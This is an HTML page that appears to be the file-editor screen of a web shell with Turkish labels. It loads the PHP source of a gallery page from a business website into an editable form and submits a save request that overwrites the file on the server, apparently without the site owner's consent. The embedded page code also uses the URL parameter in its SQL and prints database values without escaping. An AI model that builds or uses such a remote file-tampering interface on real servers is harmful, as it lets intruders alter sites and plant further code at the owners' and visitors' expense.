    <h3>/home/vhosts/tomsontoolsanddies.com/httpdocs/uploads/testimonial/gallery.php düzenle</h3>
    <form method="post">
        <input type="hidden" name="filename" value="/home/vhosts/tomsontoolsanddies.com/httpdocs/uploads/testimonial/gallery.php">
        <textarea name="content" style="width:100%;height:400px;">&lt;?php include(&quot;admin/db.php&quot;);?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
	&lt;meta charset=&quot;utf-8&quot;&gt;
	&lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot;&gt;
	&lt;meta name=&quot;keywords&quot; content=&quot;&quot; /&gt;
	&lt;meta name=&quot;author&quot; content=&quot;&quot; /&gt;
	&lt;meta name=&quot;robots&quot; content=&quot;&quot; /&gt;
	&lt;meta name=&quot;description&quot; content=&quot;BLUE BIRD INTERIOR WORKS&quot; /&gt;
	&lt;meta property=&quot;og:title&quot; content=&quot;BLUE BIRD INTERIOR WORKS&quot; /&gt;
	&lt;meta property=&quot;og:description&quot; content=&quot;BLUE BIRD INTERIOR WORKS&quot; /&gt;
	&lt;meta property=&quot;og:image&quot; content=&quot;&quot; /&gt;
	&lt;meta name=&quot;format-detection&quot; content=&quot;telephone=no&quot;&gt;
	
	&lt;link rel=&quot;shortcut icon&quot; type=&quot;image/x-icon&quot; href=&quot;images/new/ic.png&quot; /&gt;
	
	&lt;!-- PAGE TITLE HERE --&gt;
	&lt;title&gt;BLUE BIRD INTERIOR WORKS&lt;/title&gt;
	
	
	&lt;!-- MOBILE SPECIFIC --&gt;
	&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;
	
	&lt;!--[if lt IE 9]&gt;
	&lt;script src=&quot;js/html5shiv.min.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;js/respond.min.js&quot;&gt;&lt;/script&gt;
	&lt;![endif]--&gt;

    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;revolution/css/settings.css&quot;&gt;
	&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;css/plugins.min.css&quot;&gt;
	&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;plugins/fontawesome/css/font-awesome.min.css&quot;&gt;
	&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;plugins/line-awesome/css/line-awesome.min.css&quot;&gt;
	&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;plugins/flaticon/flaticon.css&quot;&gt;
	&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;plugins/themify/themify-icons.css&quot;&gt;
	&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;css/style.min.css&quot;&gt;
	&lt;link class=&quot;skin&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;css/skin/skin-8.min.css&quot;&gt;
	&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;css/templete.min.css&quot;&gt;
	&lt;!-- Google Font --&gt;
	&lt;style&gt;
	@import url('https://fonts.googleapis.com/css?family=Montserrat:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i|Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i|Playfair+Display:400,400i,700,700i,900,900i|Poppins:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i|Raleway:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i|Roboto+Condensed:300,300i,400,400i,700,700i|Roboto:100,100i,300,300i,400,400i,500,500i,700,700i,900,900i&amp;amp;display=swap');
	&lt;/style&gt;
	
	&lt;!-- REVOLUTION SLIDER CSS --&gt;
	&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;plugins/revolution/revolution/css/revolution.min.css&quot;&gt;
	           &lt;style&gt;


.whatsapp-button{
    position: fixed;
    bottom: 15px;
    right: 15px;
    z-index: 99;
    background-color: #25d366;
    border-radius: 50px;
    color: #ffffff;
    text-decoration: none;
    width: 50px;
    height: 50px;
    font-size: 30px;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    -webkit-box-shadow: 0px 0px 25px -6px rgba(0,0,0,1);
    -moz-box-shadow: 0px 0px 25px -6px rgba(0,0,0,1);
    box-shadow: 0px 0px 25px -6px rgba(0,0,0,1);
    animation: effect 5s infinite ease-in;
}

@keyframes effect {
    20%, 100% {
        width: 50px;
        height: 50px;
        font-size: 30px;
    }
    0%, 10%{
        width: 55px;
        height: 55px;
        font-size: 35px;
    }
    5%{
        width: 50px;
        height: 50px;
        font-size: 30px;
    }
}
    
    &lt;/style&gt;
        
        
    &lt;style&gt;
	.section1{
  position:relative;
  height:600px;
  background:#F1F5F8;
  padding:10px 0px;
  width:100%;
}
.section1 h2{
  text-align:center;
  font-size:40px;
}
.section1 p{
  text-align:center;
  padding:0px 70px;
  color:grey;
}
.sticky-social{
  position:fixed;
  top:370px;
  right:-8px;
  padding:0px;
  margin:0px;
  
}
.social{
  list-style:none;
}
.social li{
  padding:10px 10px;
  font-size:25px;
  transition:all 0.8s ease-in-out;
}
.social li:hover{
    margin-right:-30px;
 box-shadow:2px 5px 10px grey;
}
.social li:hover .fa{
    margin-left:20px;
  
}
.fa{
  color:#fff;
  transition:all 0.8s ease-in-out;
}
.whatsapp{
  background-color:#25d366;
}
.fb{
  background-color:#3C5A98;
}
.twitter{
    background-color:orange;
}
.insta{
    background-color:#DC4F42;
}
.pin{
    background-color:#CB2128;
}
.vim{
    background-color:#59BFBE;
}
	&lt;/style&gt;
    
        &lt;style&gt;
	.section1{
  position:relative;
  height:600px;
  background:#F1F5F8;
  padding:10px 0px;
  width:100%;
}
.section1 h2{
  text-align:center;
  font-size:40px;
}
.section1 p{
  text-align:center;
  padding:0px 70px;
  color:grey;
}
.sticky-social{
  position:fixed;
  top:370px;
  right:-8px;
  padding:0px;
  margin:0px;
  
}
.social{
  list-style:none;
}
.social li{
  padding:10px 10px;
  font-size:25px;
  transition:all 0.8s ease-in-out;
}
.social li:hover{
    margin-right:-30px;
 box-shadow:2px 5px 10px grey;
}
.social li:hover .fa{
    margin-left:20px;
  
}
.fa{
  color:#fff;
  transition:all 0.8s ease-in-out;
}
.whatsapp{
  background-color:#25d366;
}
.fb{
  background-color:#3C5A98;
}
.twitter{
    background-color:orange;
}
.insta{
    background-color:#DC4F42;
}
.pin{
    background-color:#CB2128;
}
.vim{
    background-color:#59BFBE;
}
	&lt;/style&gt;
&lt;/head&gt;
&lt;body id=&quot;bg&quot; style=&quot;background-color: #f8f8f8;&quot;&gt;
&lt;div class=&quot;page-wraper&quot;&gt;
    &lt;!-- header --&gt;
  &lt;?php include(&quot;header.php&quot;);?&gt;
    &lt;!-- header END --&gt;
    &lt;!-- header END --&gt;

    &lt;!-- Content --&gt;
    &lt;div class=&quot;page-content bg-white&quot;&gt;
		&lt;!-- inner page banner --&gt;
        &lt;div class=&quot;dlab-bnr-inr overlay-black-middle text-center bg-pt&quot; style=&quot;background-image:url(images/fourstar/14%20-%20Copy.jpg);&quot;&gt;
            &lt;div class=&quot;container&quot;&gt;&lt;br&gt;&lt;br&gt;
                &lt;div class=&quot;dlab-bnr-inr-entry align-m text-center&quot;&gt;
                    &lt;h1 class=&quot;text-white&quot;&gt;Our Gallery&lt;/h1&gt;
					&lt;!-- Breadcrumb row --&gt;
					&lt;div class=&quot;breadcrumb-row&quot;&gt;
						&lt;ul class=&quot;list-inline&quot;&gt;
							&lt;li&gt;&lt;a href=&quot;index.php&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;
							&lt;li&gt;Gallery&lt;/li&gt;
						&lt;/ul&gt;
					&lt;/div&gt;&lt;br&gt;
					&lt;!-- Breadcrumb row END --&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;!-- inner page banner END --&gt;
    
    
    
    
    
                    &lt;!-- contact area --&gt;
        &lt;div class=&quot;content-block&quot;&gt;
			&lt;!-- Portfolio  --&gt;
			&lt;div class=&quot;section-full content-inner-2 portfolio text-capitalize bg-gray&quot; id=&quot;portfolio&quot;&gt;
				&lt;div class=&quot;container&quot;&gt;
					&lt;div class=&quot;section-head text-black text-center&quot;&gt;
						&lt;h2 class=&quot;title text-capitalize&quot;&gt;Our Gallery&lt;/h2&gt;
						&lt;p&gt;We are on through sustainable engineering designs to structured project management to an effective cost management to design-build solutions.


&lt;/p&gt;
					&lt;/div&gt;

					&lt;div class=&quot;clearfix&quot; id=&quot;lightgallery&quot;&gt;
						&lt;ul id=&quot;masonry&quot; class=&quot; portfolio-ic dlab-gallery-listing gallery-grid-4 gallery lightgallery text-center&quot;&gt;
                        &lt;?php 

$page=mysqli_query($link,&quot;select * from gallery &quot;);
  
  	if(isset($_GET['page']))
  {
	  $current_page=$_GET['page'];
  }
  else
  {
	  $current_page= 1;
  }
 $perpage=206;
 $start = ($current_page-1)* $perpage;  
 
$prev_page = $current_page -1;
$next_page = $current_page +1;

 //$number = mysqli_fetch_array($page);
$total_rows= mysqli_num_rows($page);
$lastpage =ceil($total_rows/$perpage);

$t=&quot;select * from gallery order by id desc limit &quot;.$start.&quot;,&quot;.$perpage.&quot;&quot;;
			$pagin=mysqli_query($link,$t);
			$count=mysqli_num_rows($pagin); 

while($row=mysqli_fetch_array($pagin)){?&gt;	
							&lt;li class=&quot;web design card-container col-lg-3 col-md-6 col-sm-6 p-a0&quot;&gt;
								&lt;div class=&quot;dlab-box dlab-gallery-box&quot;&gt;
									&lt;div class=&quot;dlab-media dlab-img-overlay1 dlab-img-effect&quot;&gt;
										&lt;a href=&quot;#&quot;&gt;  &lt;img src=&quot;uploads/gallery/&lt;?php echo $row['image']; ?&gt;&quot; style=&quot;height:230px;&quot; alt=&quot;&quot;&gt; &lt;/a&gt;
										&lt;div class=&quot;overlay-bx&quot;&gt;
											&lt;div class=&quot;overlay-icon&quot;&gt; 
												&lt;div class=&quot;text-white&quot;&gt;
												
													&lt;span data-exthumbimage=&quot;uploads/gallery/&lt;?php echo $row['image']; ?&gt;&quot; data-src=&quot;uploads/gallery/&lt;?php echo $row['image']; ?&gt;&quot; class=&quot;check-km&quot; title=&quot;&lt;?php echo $row['title']; ?&gt;&quot;&gt;	
	
														&lt;i class=&quot;fa fa-picture-o icon-bx-xs&quot;&gt;&lt;/i&gt; 
													&lt;/span&gt;
												&lt;/div&gt;
											&lt;/div&gt;
										&lt;/div&gt;
									&lt;/div&gt;
								
							&lt;/li&gt;
							 &lt;?php } ?&gt;
						&lt;/ul&gt;
                        
                           &lt;div class=&quot;pagination-bx clearfix col-md-12 m-b30 text-center&quot;&gt;
								&lt;ul class=&quot;pagination&quot;&gt;
									
   &lt;li&gt;&lt;a href=&quot;?page=1&quot; &gt;First&lt;/a&gt;&lt;/li&gt;
    &lt;?php
				if($current_page==1)
						{
						 
						//	echo 'prev';
						}
						else
						{
							echo '&lt;li &gt;&lt;a href=&quot;?page='.$prev_page .'&quot;&gt;Prev&lt;/a&gt;&lt;/li&gt;';
						}
						
						
				for($i=$current_page-2; $i&lt;=$current_page+2; $i++)
{
	if($i&gt;0 &amp;&amp; $i&lt;=$lastpage)
	{
	
		if($current_page !=$i)
		{
			echo '&lt;li &gt;&lt;a  href=&quot;?page='. $i .'&quot; &gt;'.$i.'&lt;/a&gt;&lt;/li&gt;';
		}
		else
		{
			echo '&lt;li class=&quot;active&quot;&gt;&lt;a  href=&quot;?page='. $i .'&quot;&gt;'.$i.'&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;';
		}
	}
}

if($current_page==$lastpage)
						{
						 
							echo '';
						}
						else
						{
							echo '&lt;li &gt;&lt;a  href=&quot;?page='.$next_page .'&quot;&gt;Next&lt;/a&gt;&lt;/li&gt;';
						}		
?&gt;
&lt;li&gt;&lt;a href=&quot;?page=&lt;?php echo $lastpage ?&gt;&quot;&gt;Last&lt;/a&gt;
                                    &lt;/li&gt;
								&lt;/ul&gt;
							&lt;/div&gt;
                            &lt;!-- Pagination END --&gt;
					&lt;/div&gt;
				&lt;/div&gt;
			&lt;/div&gt;
        &lt;/div&gt;
		&lt;!-- contact area END --&gt;
    &lt;/div&gt;
    &lt;!-- Content END--&gt;

         
    
&lt;!--&lt;div class=&quot;sticky-social&quot;&gt;
  &lt;ul class=&quot;social&quot;&gt;
          
    

&lt;li class=&quot;whatsapp&quot;&gt;&lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;fa fa-whatsapp&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;

    &lt;li class=&quot;fb&quot;&gt;&lt;a href=&quot;#&quot; target=&quot;_blank&quot;&gt;&lt;i class=&quot;fa fa-facebook&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li class=&quot;twitter&quot;&gt;&lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;fa fa-envelope&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;insta&quot;&gt;&lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;fa fa-instagram&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;pin&quot;&gt;&lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;fa fa-youtube&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;/div&gt;--&gt;



  &lt;/ul&gt;
  &lt;/div&gt;--&gt;
    
    
 
	 &lt;!-- Footer --&gt;
&lt;?php include(&quot;footer.php&quot;);?&gt;
&lt;!-- JAVASCRIPT FILES ========================================= --&gt;
&lt;!-- JAVASCRIPT FILES ========================================= --&gt;
&lt;script src=&quot;js/combining.js&quot;&gt;&lt;/script&gt;&lt;!-- CONTACT JS  --&gt;
&lt;script src=&quot;js/jquery.lazy.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- REVOLUTION JS FILES --&gt;
&lt;script src=&quot;plugins/revolution/revolution/js/jquery.themepunch.tools.min.js&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;plugins/revolution/revolution/js/jquery.themepunch.revolution.min.js&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;js/rev.slider.js&quot;&gt;&lt;/script&gt;









&lt;script&gt;
jQuery(document).ready(function() {
	'use strict';
	dz_rev_slider_12();	
	$('.lazy').Lazy();
});	/*ready*/
&lt;/script&gt;

&lt;script&gt;
$(document).ready(function() {

  var sync1 = $(&quot;#sync1&quot;);
  var sync2 = $(&quot;#sync2&quot;);
  var slidesPerPage = 4; //globaly define number of elements per page
  var syncedSecondary = true;

	  sync1.owlCarousel({
		items : 1,
		nav: true,
		autoplaySpeed: 3000,
		navSpeed: 3000,
		paginationSpeed: 3000,
		slideSpeed: 3000,
		smartSpeed: 3000,
        autoplay: 3000,
		dots: false,
		loop: true,
		responsiveRefreshRate : 200,
		navText: ['&lt;i class=&quot;la la-angle-left&quot;&gt;&lt;/i&gt;', '&lt;i class=&quot;la la-angle-right&quot;&gt;&lt;/i&gt;'],
	  }).on('changed.owl.carousel', syncPosition);

	  sync2.on('initialized.owl.carousel', function () {
		  sync2.find(&quot;.owl-item&quot;).eq(0).addClass(&quot;current&quot;);
		}).owlCarousel({
		items : slidesPerPage,
		dots: false,
		nav: false,
		margin:20,
		autoplaySpeed: 3000,
		navSpeed: 3000,
		paginationSpeed: 3000,
		slideSpeed: 3000,
		smartSpeed: 3000,
        autoplay: 3000,
		slideBy: slidesPerPage, //alternatively you can slide by 1, this way the active slide will stick to the first item in the second carousel
		responsiveRefreshRate : 100,
		responsive:{
			0:{
				items:2
			},
			480:{
				items:2
			},			
			768:{
				items:3
			},
			1024:{
				items:4
			},
			1400:{
				items:4
			}
		}
	  }).on('changed.owl.carousel', syncPosition2);

  function syncPosition(el) {
    //if you set loop to false, you have to restore this next line
    //var current = el.item.index;
    
    //if you disable loop you have to comment this block
    var count = el.item.count-1;
    var current = Math.round(el.item.index - (el.item.count/2) - .5);
    
    if(current &lt; 0) {
      current = count;
    }
    if(current &gt; count) {
      current = 0;
    }
    
    //end block

    sync2
      .find(&quot;.owl-item&quot;)
      .removeClass(&quot;current&quot;)
      .eq(current)
      .addClass(&quot;current&quot;);
    var onscreen = sync2.find('.owl-item.active').length - 1;
    var start = sync2.find('.owl-item.active').first().index();
    var end = sync2.find('.owl-item.active').last().index();
    
    if (current &gt; end) {
      sync2.data('owl.carousel').to(current, 100, true);
    }
    if (current &lt; start) {
      sync2.data('owl.carousel').to(current - onscreen, 100, true);
    }
  }
  
  function syncPosition2(el) {
    if(syncedSecondary) {
      var number = el.item.index;
      sync1.data('owl.carousel').to(number, 100, true);
    }
  }
  
  sync2.on(&quot;click&quot;, &quot;.owl-item&quot;, function(e){
		e.preventDefault();
		var number = $(this).index();
		//sync1.data('owl.carousel').to(number, 300, true);
		
		sync1.data('owl.carousel').to(number, 300, true);
		
	});
});
&lt;/script&gt;



    &lt;script src=&quot;revolution/js/extensions/revolution.extension.actions.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;revolution/js/extensions/revolution.extension.layeranimation.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;revolution/js/extensions/revolution.extension.navigation.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;revolution/js/extensions/revolution.extension.parallax.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;revolution/js/extensions/revolution.extension.slideanims.min.js&quot;&gt;&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</textarea><br>
        <button type="submit" name="save_file">Kaydet</button>
    </form>
    <hr>
    <a href="?file=/home/vhosts/tomsontoolsanddies.com/httpdocs/uploads/testimonial">← Geri</a>